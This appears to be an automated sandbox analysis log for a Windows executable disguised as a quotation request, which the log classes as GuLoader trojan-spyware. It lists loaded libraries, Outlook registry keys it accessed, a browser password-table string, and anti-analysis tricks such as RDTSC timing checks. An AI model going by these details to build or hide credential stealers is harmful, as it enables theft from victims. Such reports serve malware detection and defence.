Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DD5908	10_2_36DD5908
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDD330	10_2_36DDD330
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDD32F	10_2_36DDD32F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DDA927	10_2_36DDA927
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF77F0	10_2_36DF77F0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF8490	10_2_36DF8490
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF9572	10_2_36DF9572
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF71A8	10_2_36DF71A8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF6130	10_2_36DF6130
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF7E40	10_2_36DF7E40
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF98D0	10_2_36DF98D0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF46F8	10_2_36DF46F8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF46F7	10_2_36DF46F7
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF563F	10_2_36DF563F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF77E0	10_2_36DF77E0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF0498	10_2_36DF0498
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF0497	10_2_36DF0497
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF8481	10_2_36DF8481
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF15F8	10_2_36DF15F8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF15F7	10_2_36DF15F7
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF3598	10_2_36DF3598
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF3588	10_2_36DF3588
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF22FF	10_2_36DF22FF
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF429F	10_2_36DF429F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF42A0	10_2_36DF42A0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF2300	10_2_36DF2300
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF0040	10_2_36DF0040
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF003F	10_2_36DF003F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DFE030	10_2_36DFE030
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DFE020	10_2_36DFE020
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF1190	10_2_36DF1190
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF11A0	10_2_36DF11A0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF3140	10_2_36DF3140
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF313F	10_2_36DF313F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF6125	10_2_36DF6125
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF1EA8	10_2_36DF1EA8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF1EA7	10_2_36DF1EA7
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF3E48	10_2_36DF3E48
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF3E38	10_2_36DF3E38
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF7E30	10_2_36DF7E30
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF4FA8	10_2_36DF4FA8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF4FA7	10_2_36DF4FA7
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF2CD8	10_2_36DF2CD8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF2CE8	10_2_36DF2CE8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF0D48	10_2_36DF0D48
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF0D47	10_2_36DF0D47
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF8AD8	10_2_36DF8AD8
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF8ACA	10_2_36DF8ACA
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF1A50	10_2_36DF1A50
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF1A4F	10_2_36DF1A4F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF4B50	10_2_36DF4B50
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF4B40	10_2_36DF4B40
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF98C0	10_2_36DF98C0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF08F0	10_2_36DF08F0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF08EF	10_2_36DF08EF
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF2890	10_2_36DF2890
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF287F	10_2_36DF287F
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF39F0	10_2_36DF39F0
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_36DF39EF	10_2_36DF39EF
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_37E5E600	10_2_37E5E600
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_37E5D478	10_2_37E5D478
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Code function: 10_2_37E573D0	10_2_37E573D0

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Code function: String function: 00402B3A appears 47 times

Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2536020620.0000000004593000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs REQUEST FOR QUOATION AND PRICES.exe
Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556465993.0000000034A37000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs REQUEST FOR QUOATION AND PRICES.exe

Source: REQUEST FOR QUOATION AND PRICES.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Code function: 5_2_004045CA GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

5_2_004045CA

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Code function: 5_2_0040206A CoCreateInstance,

5_2_0040206A

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

File created: C:\Users\user\selvsikker

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

File created: C:\Users\user~1\AppData\Local\Temp\nsy8112.tmp

Jump to behavior

Source: REQUEST FOR QUOATION AND PRICES.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C43000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C25000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C64000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C35000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2556507666.0000000034C58000.00000004.00000800.00020000.00000000.sdmp, REQUEST FOR QUOATION AND PRICES.exe, 0000000A.00000002.2557594376.0000000035B6D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: REQUEST FOR QUOATION AND PRICES.exe

ReversingLabs: Detection: 13%

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

File read: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process created: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000005.00000002.1644205426.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Code function: 5_2_00406254 GetModuleHandleA,LoadLibraryA,GetProcAddress,

5_2_00406254

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Code function: 5_2_10002DA0 push eax; ret

5_2_10002DCE

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

File created: C:\Users\user\AppData\Local\Temp\nsz829B.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	API/Special instruction interceptor: Address: 57E3F2E
Source: C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe	API/Special instruction interceptor: Address: 3D93F2E

Tries to detect virtualization through RDTSC time measurements

